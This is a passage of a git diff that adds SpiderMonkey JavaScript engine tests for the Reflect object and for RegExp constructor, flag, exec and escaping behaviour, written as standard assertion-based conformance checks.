+assertEq(Reflect.getPrototypeOf(obj), proxy);
+assertEq(Reflect.getPrototypeOf(proxy), obj);
+
+// If a proxy handler returns a false-y value, return false.
+var hits = 0;
+proto = {name: "proto"};
+obj = {name: "obj"};
+proxy = new Proxy(obj, {
+ setPrototypeOf(t, p) {
+ assertEq(t, obj);
+ assertEq(p, proto);
+ hits++;
+ return 0;
+ }
+});
+
+assertEq(Reflect.setPrototypeOf(proxy, proto), false);
+assertEq(hits, 1);
+
+// For more Reflect.setPrototypeOf tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/shell.js b/js/src/tests/ecma_6/Reflect/shell.js
new file mode 100644
index 000000000..2aa5397ed
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/shell.js
@@ -0,0 +1,9 @@
+// List of a few values that are not objects.
+var SOME_PRIMITIVE_VALUES = [
+ undefined, null,
+ false,
+ -Infinity, -1.6e99, -1, -0, 0, Math.pow(2, -1074), 1, 4294967295,
+ Number.MAX_SAFE_INTEGER, Number.MAX_SAFE_INTEGER + 1, 1.6e99, Infinity, NaN,
+ "", "Phaedo",
+ Symbol(), Symbol("iterator"), Symbol.for("iterator"), Symbol.iterator
+];
diff --git a/js/src/tests/ecma_6/Reflect/surfaces.js b/js/src/tests/ecma_6/Reflect/surfaces.js
new file mode 100644
index 000000000..d8486363a
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/surfaces.js
@@ -0,0 +1,59 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Check surface features of the Reflect object.
+assertEq(typeof Reflect, 'object');
+assertEq(Object.getPrototypeOf(Reflect), Object.prototype);
+assertEq(Reflect.toString(), '[object Object]');
+assertThrowsInstanceOf(() => new Reflect, TypeError);
+
+var desc = Object.getOwnPropertyDescriptor(this, "Reflect");
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+assertEq(desc.writable, true);
+
+for (var name in Reflect)
+ throw new Error("Reflect should not have any enumerable properties");
+
+// The name and length of all the standard Reflect methods.
+var methods = {
+ apply: 3,
+ construct: 2,
+ defineProperty: 3,
+ deleteProperty: 2,
+ get: 2,
+ getOwnPropertyDescriptor: 2,
+ getPrototypeOf: 1,
+ has: 2,
+ isExtensible: 1,
+ ownKeys: 1,
+ preventExtensions: 1,
+ set: 3,
+ setPrototypeOf: 2
+};
+
+// Check that all Reflect properties are listed above.
+for (var name of Reflect.ownKeys(Reflect)) {
+ // If this assertion fails, congratulations on implementing a new Reflect feature!
+ // Add it to the list of methods above.
+ if (name !== "parse")
+ assertEq(name in methods, true, `unexpected property found: Reflect.${name}`);
+}
+
+// Check the .length and property attributes of each Reflect method.
+for (var name of Object.keys(methods)) {
+ var desc = Object.getOwnPropertyDescriptor(Reflect, name);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ assertEq(desc.writable, true);
+ var f = desc.value;
+ assertEq(typeof f, "function");
+ assertEq(f.length, methods[name]);
+}
+
+// Check that the SpiderMonkey "resolve hook" mechanism does not resurrect the
+// Reflect property once it is deleted.
+delete this.Reflect;
+assertEq("Reflect" in this, false);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/target.js b/js/src/tests/ecma_6/Reflect/target.js
new file mode 100644
index 000000000..8d18ce99a
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/target.js
@@ -0,0 +1,44 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Check correct handling of the `target` argument shared by every Reflect method.
+
+// For each standard Reflect method, an array of arguments
+// that would be OK after a suitable target argument.
+var methodInfo = {
+ apply: [undefined, []],
+ construct: [[]],
+ defineProperty: ["x", {}],
+ deleteProperty: ["x"],
+ get: ["x", {}],
+ getOwnPropertyDescriptor: ["x"],
+ getPrototypeOf: [],
+ has: ["x"],
+ isExtensible: [],
+ ownKeys: [],
+ preventExtensions: [],
+ set: ["x", 0],
+ setPrototypeOf: [{}]
+};
+
+// Check that all Reflect properties are listed above.
+for (var name of Reflect.ownKeys(Reflect)) {
+ // If this assertion fails, congratulations on implementing a new Reflect feature!
+ // Add it to methodInfo above.
+ if (name !== "parse")
+ assertEq(name in methodInfo, true);
+}
+
+for (var name of Object.keys(methodInfo)) {
+ var args = methodInfo[name];
+
+ // The target argument is required.
+ assertThrowsInstanceOf(Reflect[name], TypeError);
+
+ // Throw if the target argument is not an object.
+ for (var value of SOME_PRIMITIVE_VALUES) {
+ assertThrowsInstanceOf(() => Reflect[name](value, ...args), TypeError);
+ }
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/RegExp/RegExpExec-exec.js b/js/src/tests/ecma_6/RegExp/RegExpExec-exec.js
new file mode 100644
index 000000000..e92792fcf
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/RegExpExec-exec.js
@@ -0,0 +1,18 @@
+var BUGNUMBER = 887016;
+var summary = "RegExpExec should throw if exec property of non-RegExp is not callable";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var exec of [null, 0, false, undefined, ""]) {
+ // RegExp with non-callable exec
+ var re = /a/;
+ re.exec = exec;
+ RegExp.prototype[Symbol.match].call(re, "foo");
+
+ // non-RegExp with non-callable exec
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.match].call({ exec }, "foo"),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/RegExpExec-return.js b/js/src/tests/ecma_6/RegExp/RegExpExec-return.js
new file mode 100644
index 000000000..1148aac07
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/RegExpExec-return.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 887016;
+var summary = "RegExpExec should throw if returned value is not an object nor null.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var ret of [null, {}, [], /a/]) {
+ assertEq(RegExp.prototype[Symbol.match].call({
+ get global() {
+ return false;
+ },
+ exec(S) {
+ return ret;
+ }
+ }, "foo"), ret);
+}
+
+for (ret of [undefined, 1, true, false, Symbol.iterator]) {
+ assertThrowsInstanceOf(() => {
+ RegExp.prototype[Symbol.match].call({
+ get global() {
+ return false;
+ },
+ exec(S) {
+ return ret;
+ }
+ }, "foo");
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/browser.js b/js/src/tests/ecma_6/RegExp/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/browser.js
diff --git a/js/src/tests/ecma_6/RegExp/class-null.js b/js/src/tests/ecma_6/RegExp/class-null.js
new file mode 100644
index 000000000..c95e5a4d7
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/class-null.js
@@ -0,0 +1,15 @@
+var BUGNUMBER = 1279467;
+var summary = "Null in character class in RegExp with unicode flag.";
+
+print(BUGNUMBER + ": " + summary);
+
+var m = /([\0]+)/u.exec("\u0000");
+assertEq(m.length, 2);
+assertEq(m[0], '\u0000');
+assertEq(m[1], '\u0000');
+
+var m = /([\0]+)/u.exec("0");
+assertEq(m, null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/compile-lastIndex.js b/js/src/tests/ecma_6/RegExp/compile-lastIndex.js
new file mode 100644
index 000000000..80c820f43
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/compile-lastIndex.js
@@ -0,0 +1,88 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1253099;
+var summary =
+ "RegExp.prototype.compile must perform all its steps *except* setting " +
+ ".lastIndex, then throw, when provided a RegExp whose .lastIndex has been " +
+ "made non-writable";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var regex = /foo/i;
+
+// Aside from making .lastIndex non-writable, this has two incidental effects
+// ubiquitously tested through the remainder of this test:
+//
+// * RegExp.prototype.compile will do everything it ordinarily does, BUT it
+// will throw a TypeError when attempting to zero .lastIndex immediately
+// before succeeding overall.
+// * RegExp.prototype.test for a non-global and non-sticky regular expression,
+// in case of a match, will return true (as normal). BUT if no match is
+// found, it will throw a TypeError when attempting to modify .lastIndex.
+//
+// Ain't it great?
+Object.defineProperty(regex, "lastIndex", { value: 42, writable: false });
+
+assertEq(regex.global, false);
+assertEq(regex.ignoreCase, true);
+assertEq(regex.multiline, false);
+assertEq(regex.unicode, false);
+assertEq(regex.sticky, false);
+assertEq(Object.getOwnPropertyDescriptor(regex, "lastIndex").writable, false);
+assertEq(regex.lastIndex, 42);
+
+assertEq(regex.test("foo"), true);
+assertEq(regex.test("FOO"), true);
+assertThrowsInstanceOf(() => regex.test("bar"), TypeError);
+assertThrowsInstanceOf(() => regex.test("BAR"), TypeError);
+
+assertThrowsInstanceOf(() => regex.compile("bar"), TypeError);
+
+assertEq(regex.global, false);
+assertEq(regex.ignoreCase, false);
+assertEq(regex.multiline, false);
+assertEq(regex.unicode, false);
+assertEq(regex.sticky, false);
+assertEq(Object.getOwnPropertyDescriptor(regex, "lastIndex").writable, false);
+assertEq(regex.lastIndex, 42);
+assertThrowsInstanceOf(() => regex.test("foo"), TypeError);
+assertThrowsInstanceOf(() => regex.test("FOO"), TypeError);
+assertEq(regex.test("bar"), true);
+assertThrowsInstanceOf(() => regex.test("BAR"), TypeError);
+
+assertThrowsInstanceOf(() => regex.compile("^baz", "m"), TypeError);
+
+assertEq(regex.global, false);
+assertEq(regex.ignoreCase, false);
+assertEq(regex.multiline, true);
+assertEq(regex.unicode, false);
+assertEq(regex.sticky, false);
+assertEq(Object.getOwnPropertyDescriptor(regex, "lastIndex").writable, false);
+assertEq(regex.lastIndex, 42);
+assertThrowsInstanceOf(() => regex.test("foo"), TypeError);
+assertThrowsInstanceOf(() => regex.test("FOO"), TypeError);
+assertThrowsInstanceOf(() => regex.test("bar"), TypeError);
+assertThrowsInstanceOf(() => regex.test("BAR"), TypeError);
+assertEq(regex.test("baz"), true);
+assertThrowsInstanceOf(() => regex.test("BAZ"), TypeError);
+assertThrowsInstanceOf(() => regex.test("012345678901234567890123456789012345678901baz"),
+ TypeError);
+assertEq(regex.test("012345678901234567890123456789012345678901\nbaz"), true);
+assertThrowsInstanceOf(() => regex.test("012345678901234567890123456789012345678901BAZ"),
+ TypeError);
+assertThrowsInstanceOf(() => regex.test("012345678901234567890123456789012345678901\nBAZ"),
+ TypeError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/RegExp/constructor-IsRegExp.js b/js/src/tests/ecma_6/RegExp/constructor-IsRegExp.js
new file mode 100644
index 000000000..8c735e4b9
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/constructor-IsRegExp.js
@@ -0,0 +1,86 @@
+var BUGNUMBER = 1147817;
+var summary = "RegExp constructor with pattern with @@match.";
+
+print(BUGNUMBER + ": " + summary);
+
+var matchValue;
+var constructorValue;
+
+var matchGet;
+var constructorGet;
+var sourceGet;
+var flagsGet;
+function reset() {
+ matchGet = false;
+ constructorGet = false;
+ sourceGet = false;
+ flagsGet = false;
+}
+var obj = {
+ get [Symbol.match]() {
+ matchGet = true;
+ return matchValue;
+ },
+ get constructor() {
+ constructorGet = true;
+ return constructorValue;
+ },
+ get source() {
+ sourceGet = true;
+ return "foo";
+ },
+ get flags() {
+ flagsGet = true;
+ return "i";
+ },
+ toString() {
+ return "bar";
+ }
+};
+
+matchValue = true;
+constructorValue = function() {};
+
+reset();
+assertEq(RegExp(obj).toString(), "/foo/i");
+assertEq(matchGet, true);
+assertEq(constructorGet, true);
+assertEq(sourceGet, true);
+assertEq(flagsGet, true);
+
+reset();
+assertEq(RegExp(obj, "g").toString(), "/foo/g");
+assertEq(matchGet, true);
+assertEq(constructorGet, false);
+assertEq(sourceGet, true);
+assertEq(flagsGet, false);
+
+matchValue = false;
+constructorValue = function() {};
+
+reset();
+assertEq(RegExp(obj).toString(), "/bar/");
+assertEq(matchGet, true);
+assertEq(constructorGet, false);
+assertEq(sourceGet, false);
+assertEq(flagsGet, false);
+
+reset();
+assertEq(RegExp(obj, "g").toString(), "/bar/g");
+assertEq(matchGet, true);
+assertEq(constructorGet, false);
+assertEq(sourceGet, false);
+assertEq(flagsGet, false);
+
+matchValue = true;
+constructorValue = RegExp;
+
+reset();
+assertEq(RegExp(obj), obj);
+assertEq(matchGet, true);
+assertEq(constructorGet, true);
+assertEq(sourceGet, false);
+assertEq(flagsGet, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/constructor-constructor.js b/js/src/tests/ecma_6/RegExp/constructor-constructor.js
new file mode 100644
index 000000000..528f4978c
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/constructor-constructor.js
@@ -0,0 +1,78 @@
+var BUGNUMBER = 1147817;
+var summary = "RegExp constructor should check pattern.constructor.";
+
+print(BUGNUMBER + ": " + summary);
+
+var g = newGlobal();
+
+var re = /foo/;
+assertEq(RegExp(re), re);
+re.constructor = 10;
+assertEq(RegExp(re) === re, false);
+assertEq(RegExp(re).toString(), re.toString());
+
+// If pattern comes from different global, RegExp shouldn't return it.
+re = g.eval(`var re = /foo/; re;`);
+assertEq(RegExp(re) === re, false);
+assertEq(RegExp(re).toString(), re.toString());
+g.eval(`re.constructor = 10;`);
+assertEq(RegExp(re) === re, false);
+assertEq(RegExp(re).toString(), re.toString());
+
+
+re = new Proxy(/a/, {
+ get(that, name) {
+ return that[name];
+ }
+});
+assertEq(RegExp(re), re);
+re = new Proxy(/a/, {
+ get(that, name) {
+ if (name == "constructor") {
+ return function() {};
+ }
+ return that[name];
+ }
+});
+assertEq(RegExp(re) === re, false);
+re = new Proxy(/a/, {
+ get(that, name) {
+ if (name == Symbol.match) {
+ return undefined;
+ }
+ return that[name];
+ }
+});
+assertEq(RegExp(re) === re, false);
+
+re = new Proxy(g.eval(`/a/`), {
+ get(that, name) {
+ return that[name];
+ }
+});
+assertEq(RegExp(re) === re, false);
+
+re = g.eval(`new Proxy(/a/, {
+ get(that, name) {
+ return that[name];
+ }
+});`);
+assertEq(RegExp(re) === re, false);
+
+
+var obj = { [Symbol.match]: true, source: "foo", flags: "gi" };
+assertEq(RegExp(obj) === obj, false);
+assertEq(RegExp(obj).toString(), "/foo/gi");
+obj.constructor = RegExp;
+assertEq(RegExp(obj), obj);
+
+obj = g.eval(`var obj = { [Symbol.match]: true, source: "foo", flags: "gi" }; obj;`);
+assertEq(RegExp(obj) === obj, false);
+assertEq(RegExp(obj).toString(), "/foo/gi");
+g.eval(`obj.constructor = RegExp`);
+assertEq(RegExp(obj) === obj, false);
+obj.constructor = RegExp;
+assertEq(RegExp(obj), obj);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/constructor-ordering-2.js b/js/src/tests/ecma_6/RegExp/constructor-ordering-2.js
new file mode 100644
index 000000000..21a6bbeca
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/constructor-ordering-2.js
@@ -0,0 +1,21 @@
+// Make sure that we don't ToString the second argument until /after/ doing
+// the appropriate subclassing lookups
+
+var didLookup = false;
+
+var re = /a/;
+var flags = { toString() { assertEq(didLookup, true); return "g"; } };
+var newRe = Reflect.construct(RegExp, [re, flags],
+ Object.defineProperty(function(){}.bind(null), "prototype", {
+ get() {
+ didLookup = true;
+ return RegExp.prototype;
+ }
+}));
+
+assertEq(Object.getPrototypeOf(newRe), RegExp.prototype);
+assertEq(didLookup, true);
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/RegExp/constructor-ordering.js b/js/src/tests/ecma_6/RegExp/constructor-ordering.js
new file mode 100644
index 000000000..3e3a9b695
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/constructor-ordering.js
@@ -0,0 +1,16 @@
+// Make sure that we don't misorder subclassing accesses with respect to
+// accessing regex arg internal slots
+//
+// Test credit André Bargull.
+
+var re = /a/;
+var newRe = Reflect.construct(RegExp, [re], Object.defineProperty(function(){}.bind(null), "prototype", {
+ get() {
+ re.compile("b");
+ return RegExp.prototype;
+ }
+}));
+assertEq(newRe.source, "a");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/RegExp/constructor-regexp-unicode.js b/js/src/tests/ecma_6/RegExp/constructor-regexp-unicode.js
new file mode 100644
index 000000000..b348c34a0
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/constructor-regexp-unicode.js
@@ -0,0 +1,9 @@
+var BUGNUMBER = 1274393;
+var summary = "RegExp constructor should check the pattern syntax again when adding unicode flag.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => RegExp(/\-/, "u"), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/constructor-regexp.js b/js/src/tests/ecma_6/RegExp/constructor-regexp.js
new file mode 100644
index 000000000..419b02713
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/constructor-regexp.js
@@ -0,0 +1,61 @@
+var BUGNUMBER = 1130860;
+var summary = "RegExp constructor shouldn't invoke source/flags getters on argument RegExp instance.";
+
+print(BUGNUMBER + ": " + summary);
+
+// same-compartment
+var a = /foo/;
+var flagsCalled = false;
+var sourceCalled = false;
+Object.defineProperty(a, "source", { get: () => {
+ sourceCalled = true;
+ return "bar";
+}});
+Object.defineProperty(a, "flags", { get: () => {
+ flagsCalled = true;
+ return "i";
+}});
+
+assertEq(a.source, "bar");
+assertEq(a.flags, "i");
+assertEq(sourceCalled, true);
+assertEq(flagsCalled, true);
+
+sourceCalled = false;
+flagsCalled = false;
+assertEq(new RegExp(a).source, "foo");
+assertEq(sourceCalled, false);
+assertEq(flagsCalled, false);
+
+// cross-compartment
+var g = newGlobal();
+var b = g.eval(`
+var b = /foo2/;
+var flagsCalled = false;
+var sourceCalled = false;
+Object.defineProperty(b, "source", { get: () => {
+ sourceCalled = true;
+ return "bar2";
+}});
+Object.defineProperty(b, "flags", { get: () => {
+ flagsCalled = true;
+ return "i";
+}});
+b;
+`);
+
+assertEq(b.source, "bar2");
+assertEq(b.flags, "i");
+assertEq(g.eval("sourceCalled;"), true);
+assertEq(g.eval("flagsCalled;"), true);
+
+g.eval(`
+sourceCalled = false;
+flagsCalled = false;
+`);
+assertEq(new RegExp(b).source, "foo2");
+assertEq(g.eval("sourceCalled;"), false);
+assertEq(g.eval("flagsCalled;"), false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/descriptor.js b/js/src/tests/ecma_6/RegExp/descriptor.js
new file mode 100644
index 000000000..cc545b3a6
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/descriptor.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1120169;
+var summary = "Implement RegExp.prototype.{global, ignoreCase, multiline, sticky, unicode} - property descriptor";
+
+print(BUGNUMBER + ": " + summary);
+
+var getters = [
+ "flags",
+ "global",
+ "ignoreCase",
+ "multiline",
+ "source",
+ "sticky",
+ "unicode",
+];
+
+for (var name of getters) {
+ var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, name);
+ assertEq(desc.configurable, true);
+ assertEq(desc.enumerable, false);
+ assertEq("writable" in desc, false);
+ assertEq("get" in desc, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/escape.js b/js/src/tests/ecma_6/RegExp/escape.js
new file mode 100644
index 000000000..bb59b797d
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/escape.js
@@ -0,0 +1,70 @@
+var BUGNUMBER = 1130860;
+var summary = 'Slash and LineTerminator should be escaped correctly.';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(re, source) {
+ assertEq(re.source, source);
+ assertEq(eval("/" + re.source + "/").source, source);
+ assertEq(re.toString(), "/" + source + "/");
+}
+
+test(/\\n/, "\\\\n");
+test(/\\\n/, "\\\\\\n");
+test(/\\\\n/, "\\\\\\\\n");
+test(RegExp("\\n"), "\\n");
+test(RegExp("\\\n"), "\\n");
+test(RegExp("\\\\n"), "\\\\n");
+
+test(/\\r/, "\\\\r");
+test(/\\\r/, "\\\\\\r");
+test(/\\\\r/, "\\\\\\\\r");
+test(RegExp("\\r"), "\\r");
+test(RegExp("\\\r"), "\\r");
+test(RegExp("\\\\r"), "\\\\r");
+
+test(/\\u2028/, "\\\\u2028");
+test(/\\\u2028/, "\\\\\\u2028");
+test(/\\\\u2028/, "\\\\\\\\u2028");
+test(RegExp("\\u2028"), "\\u2028");
+test(RegExp("\\\u2028"), "\\u2028");
+test(RegExp("\\\\u2028"), "\\\\u2028");
+
+test(/\\u2029/, "\\\\u2029");
+test(/\\\u2029/, "\\\\\\u2029");
+test(/\\\\u2029/, "\\\\\\\\u2029");
+test(RegExp("\\u2029"), "\\u2029");
+test(RegExp("\\\u2029"), "\\u2029");
+test(RegExp("\\\\u2029"), "\\\\u2029");
+
+test(/\//, "\\/");
+test(/\\\//, "\\\\\\/");
+test(RegExp("/"), "\\/");
+test(RegExp("\/"), "\\/");
+test(RegExp("\\/"), "\\/");
+test(RegExp("\\\/"), "\\/");
+test(RegExp("\\\\/"), "\\\\\\/");
+
+test(/[/]/, "[/]");
+test(/[\/]/, "[\\/]");
+test(/[\\/]/, "[\\\\/]");
+test(/[\\\/]/, "[\\\\\\/]");
+test(RegExp("[/]"), "[/]");
+test(RegExp("[\/]"), "[/]");
+test(RegExp("[\\/]"), "[\\/]");
+test(RegExp("[\\\/]"), "[\\/]");
+test(RegExp("[\\\\/]"), "[\\\\/]");
+
+test(RegExp("\[/\]"), "[/]");
+test(RegExp("\[\\/\]"), "[\\/]");
+
+test(/\[\/\]/, "\\[\\/\\]");
+test(/\[\\\/\]/, "\\[\\\\\\/\\]");
+test(RegExp("\\[/\\]"), "\\[\\/\\]");
+test(RegExp("\\[\/\\]"), "\\[\\/\\]");
+test(RegExp("\\[\\/\\]"), "\\[\\/\\]");
+test(RegExp("\\[\\\/\\]"), "\\[\\/\\]");
+test(RegExp("\\[\\\\/\\]"), "\\[\\\\\\/\\]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/exec-lastIndex-negative.js b/js/src/tests/ecma_6/RegExp/exec-lastIndex-negative.js
new file mode 100644
index 000000000..18eb2ab9d
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/exec-lastIndex-negative.js
@@ -0,0 +1,27 @@
+var BUGNUMBER = 1207922;
+var summary = "negative lastIndex should be treated as 0.";
+
+print(BUGNUMBER + ": " + summary);
+
+var pattern = /abc/gi;
+var string = 'AbcaBcabC';
+
+var indices = [
+ -1,
+ -Math.pow(2,32),
+ -(Math.pow(2,32) + 1),
+ -Math.pow(2,32) * 2,
+ -Math.pow(2,40),
+ -Number.MAX_VALUE,
+];
+for (var index of indices) {
+ pattern.lastIndex = index;
+ var result = pattern.exec(string);
+ assertEq(result.index, 0);
+ assertEq(result.length, 1);
+ assertEq(result[0], "Abc");
+ assertEq(pattern.lastIndex, 3);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/flag-accessors.js b/js/src/tests/ecma_6/RegExp/flag-accessors.js
new file mode 100644
index 000000000..848b916c5
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/flag-accessors.js
@@ -0,0 +1,49 @@
+var BUGNUMBER = 1120169;
+var summary = "Implement RegExp.prototype.{global, ignoreCase, multiline, sticky, unicode}";
+
+print(BUGNUMBER + ": " + summary);
+
+var props = [
+ "global",
+ "ignoreCase",
+ "multiline",
+ "sticky",
+ "unicode",
+];
+
+testThrows(RegExp.prototype);
+test(/foo/iymg, [true, true, true, true, false]);
+test(RegExp(""), [false, false, false, false, false]);
+test(RegExp("", "mygi"), [true, true, true, true, false]);
+test(RegExp("", "mygiu"), [true, true, true, true, true]);
+
+testThrowsGeneric();
+testThrowsGeneric(1);
+testThrowsGeneric("");
+testThrowsGeneric({});
+testThrowsGeneric(new Proxy({}, {get(){ return true; }}));
+
+function test(obj, expects) {
+ for (var i = 0; i < props.length; i++) {
+ assertEq(obj[props[i]], expects[i]);
+ }
+}
+
+function testThrows(obj) {
+ for (var prop of props) {
+ assertThrowsInstanceOf(obj[prop], TypeError);
+ }
+}
+
+function testThrowsGeneric(obj) {
+ for (var prop of props) {
+ assertThrowsInstanceOf(() => genericGet(obj, prop), TypeError);
+ }
+}
+
+function genericGet(obj, prop) {
+ return Object.getOwnPropertyDescriptor(RegExp.prototype, prop).get.call(obj);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/flags-param-handling.js b/js/src/tests/ecma_6/RegExp/flags-param-handling.js
new file mode 100644
index 000000000..e47799601
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/flags-param-handling.js
@@ -0,0 +1,18 @@
+assertEq(RegExp(/foo/my).flags, "my");
+assertEq(RegExp(/foo/, "gi").flags, "gi");
+assertEq(RegExp(/foo/my, "gi").flags, "gi");
+assertEq(RegExp(/foo/my, "").flags, "");
+assertEq(RegExp(/foo/my, undefined).flags, "my");
+assertThrowsInstanceOf(() => RegExp(/foo/my, null), SyntaxError);
+assertThrowsInstanceOf(() => RegExp(/foo/my, "foo"), SyntaxError);
+
+assertEq(/a/.compile("b", "gi").flags, "gi");
+assertEq(/a/.compile(/b/my).flags, "my");
+assertEq(/a/.compile(/b/my, undefined).flags, "my");
+assertThrowsInstanceOf(() => /a/.compile(/b/my, "gi"), TypeError);
+assertThrowsInstanceOf(() => /a/.compile(/b/my, ""), TypeError);
+assertThrowsInstanceOf(() => /a/.compile(/b/my, null), TypeError);
+assertThrowsInstanceOf(() => /a/.compile(/b/my, "foo"), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/flags.js b/js/src/tests/ecma_6/RegExp/flags.js
new file mode 100644
index 000000000..292fa4f3f
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/flags.js
@@ -0,0 +1,26 @@
+var BUGNUMBER = 1108467;
+var summary = "Implement RegExp.prototype.flags";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype.flags, "");
+assertEq(/foo/iymg.flags, "gimy");
+assertEq(RegExp("").flags, "");
+assertEq(RegExp("", "mygi").flags, "gimy");
+assertEq(RegExp("", "mygui").flags, "gimuy");
+assertEq(genericFlags({}), "");
+assertEq(genericFlags({ignoreCase: true}), "i");
+assertEq(genericFlags({sticky:1, unicode:1, global: 0}), "uy");
+assertEq(genericFlags({__proto__: {multiline: true}}), "m");
+assertEq(genericFlags(new Proxy({}, {get(){return true}})), "gimuy");
+
+assertThrowsInstanceOf(() => genericFlags(), TypeError);
+assertThrowsInstanceOf(() => genericFlags(1), TypeError);
+assertThrowsInstanceOf(() => genericFlags(""), TypeError);
+
+function genericFlags(obj) {
+ return Object.getOwnPropertyDescriptor(RegExp.prototype,"flags").get.call(obj);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/getter-name.js b/js/src/tests/ecma_6/RegExp/getter-name.js
new file mode 100644
index 000000000..d0a413dbc
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/getter-name.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1180290;
+var summary = 'RegExp getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(RegExp, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "flags").get.name, "get flags");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "global").get.name, "get global");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "ignoreCase").get.name, "get ignoreCase");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "multiline").get.name, "get multiline");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "source").get.name, "get source");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "sticky").get.name, "get sticky");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "unicode").get.name, "get unicode");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/ignoreCase-multiple.js b/js/src/tests/ecma_6/RegExp/ignoreCase-multiple.js
new file mode 100644
index 000000000..e52cf499b
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/ignoreCase-multiple.js
@@ -0,0 +1,71 @@
+var BUGNUMBER = 1280046;
+var summary = "ignoreCase match should perform Canonicalize both on input and pattern.";
+
+print(BUGNUMBER + ": " + summary);
+
+// Each element [code1, upper, code2] satisfies the following condition:
+// ToUpperCase(code1) == upper
+// ToUpperCase(code2) == upper
+var pairs =
+ [
+ // U+00B5: MICRO SIGN
+ // U+039C: GREEK CAPITAL LETTER MU
+ // U+03BC: GREEK SMALL LETTER MU
+ ["\u00B5", "\u039C", "\u03BC"],
+ // U+0345: COMBINING GREEK YPOGEGRAMMENI
+ // U+0399: GREEK CAPITAL LETTER IOTA
+ // U+03B9: GREEK SMALL LETTER IOTA
+ ["\u0345", "\u0399", "\u03B9"],
